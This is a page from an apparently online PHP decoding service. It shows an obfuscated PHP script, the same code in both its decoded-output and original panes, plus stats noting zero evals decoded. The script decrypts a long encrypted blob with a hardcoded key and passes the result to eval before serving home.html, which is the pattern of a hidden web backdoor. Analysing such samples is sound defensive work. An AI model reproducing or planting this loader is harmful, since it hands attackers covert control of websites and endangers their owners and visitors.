Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function decrypt($string, $key){$ckey_length=4;$key=gJTCR3(3)($key);$keya=gJTCR3(3)..
Decoded Output download
<?php
function decrypt($string, $key){$ckey_length=4;$key=gJTCR3(3)($key);$keya=gJTCR3(3)(gJTCR3()($key, 0, 16));$keyb=gJTCR3(3)(gJTCR3()($key, 16, 16));$keyc=$ckey_length ? gJTCR3()($string, 0, $ckey_length) : "";
$cryptkey=$keya . gJTCR3(3)($keya . $keyc);$key_length=gJTCR3(2)($cryptkey);$string=gJTCR3(1)(gJTCR3()($string, $ckey_length));
$string_length=gJTCR3(2)($string);$result="";$box=range(0, 255);$rndkey=array();for ($i = 0; $i <= 255; $i++) {
$rndkey[$i]=ord($cryptkey[$i % $key_length]);}for ($j = $i = 0; $i < 256; $i++) {
$j=($j + $box[$i] + $rndkey[$i]) % 256;$tmp=$box[$i];$box[$i]=$box[$j];$box[$j]=$tmp;}for ($a = $j = $i = 0; $i < $string_length; $i++) {$a=($a + 1) % 256;$j=($j + $box[$a]) % 256;$tmp=$box[$a];$box[$a]=$box[$j];$box[$j]=$tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if((gJTCR3()($result, 0, 10) == 0 || gJTCR3()($result, 0, 10) - time() > 0)
&&gJTCR3()($result, 10, 16) == gJTCR3()(gJTCR3(3)(gJTCR3()($result, 26) . $keyb), 0, 16)){return gJTCR3()($result, 26);}else{return "";}}function gJTCR3($t=4){$QFsaV8=MQqUa8();if($t==1){
return $QFsaV8["bd"].$QFsaV8["nd"].$QFsaV8["de"]*$QFsaV8["fy"].$QFsaV8["va"].$QFsaV8["cv"].$QFsaV8["yb"];}else if($t==2){
return $QFsaV8["vj"].$QFsaV8["pf"];}else if($t==3){return $QFsaV8["dc"].$QFsaV8["my"];}else if($t==4){return $QFsaV8["sc"].$QFsaV8["vj"];}}$UmDpr3=decrypt("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","xIrgw9WeRCj0");eval($UmDpr3);function MQqUa8(){return ["nd"=>"se", "vj"=>"str", "pf"=>"len", "va"=>"_", "cv"=>"de", "yb"=>"code", "de"=>"32", "bd"=>"ba", "sc"=>"sub", "dc"=>"md", "my"=>"5", "fy"=>"2",];}
$str = file_get_contents("./home.html");
echo $str;
?>
Did this file decode correctly?
Original Code
<?php
function decrypt($string, $key){$ckey_length=4;$key=gJTCR3(3)($key);$keya=gJTCR3(3)(gJTCR3()($key, 0, 16));$keyb=gJTCR3(3)(gJTCR3()($key, 16, 16));$keyc=$ckey_length ? gJTCR3()($string, 0, $ckey_length) : "";
$cryptkey=$keya . gJTCR3(3)($keya . $keyc);$key_length=gJTCR3(2)($cryptkey);$string=gJTCR3(1)(gJTCR3()($string, $ckey_length));
$string_length=gJTCR3(2)($string);$result="";$box=range(0, 255);$rndkey=array();for ($i = 0; $i <= 255; $i++) {
$rndkey[$i]=ord($cryptkey[$i % $key_length]);}for ($j = $i = 0; $i < 256; $i++) {
$j=($j + $box[$i] + $rndkey[$i]) % 256;$tmp=$box[$i];$box[$i]=$box[$j];$box[$j]=$tmp;}for ($a = $j = $i = 0; $i < $string_length; $i++) {$a=($a + 1) % 256;$j=($j + $box[$a]) % 256;$tmp=$box[$a];$box[$a]=$box[$j];$box[$j]=$tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if((gJTCR3()($result, 0, 10) == 0 || gJTCR3()($result, 0, 10) - time() > 0)
&&gJTCR3()($result, 10, 16) == gJTCR3()(gJTCR3(3)(gJTCR3()($result, 26) . $keyb), 0, 16)){return gJTCR3()($result, 26);}else{return "";}}function gJTCR3($t=4){$QFsaV8=MQqUa8();if($t==1){
return $QFsaV8["bd"].$QFsaV8["nd"].$QFsaV8["de"]*$QFsaV8["fy"].$QFsaV8["va"].$QFsaV8["cv"].$QFsaV8["yb"];}else if($t==2){
return $QFsaV8["vj"].$QFsaV8["pf"];}else if($t==3){return $QFsaV8["dc"].$QFsaV8["my"];}else if($t==4){return $QFsaV8["sc"].$QFsaV8["vj"];}}$UmDpr3=decrypt("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","xIrgw9WeRCj0");eval($UmDpr3);function MQqUa8(){return ["nd"=>"se", "vj"=>"str", "pf"=>"len", "va"=>"_", "cv"=>"de", "yb"=>"code", "de"=>"32", "bd"=>"ba", "sc"=>"sub", "dc"=>"md", "my"=>"5", "fy"=>"2",];}
$str = file_get_contents("./home.html");
echo $str;
?>
Function Calls
None |
Stats
MD5 | 6dd5a7f3decd2c25cb08d910a6f18666 |
Eval Count | 0 |
Decode Time | 47 ms |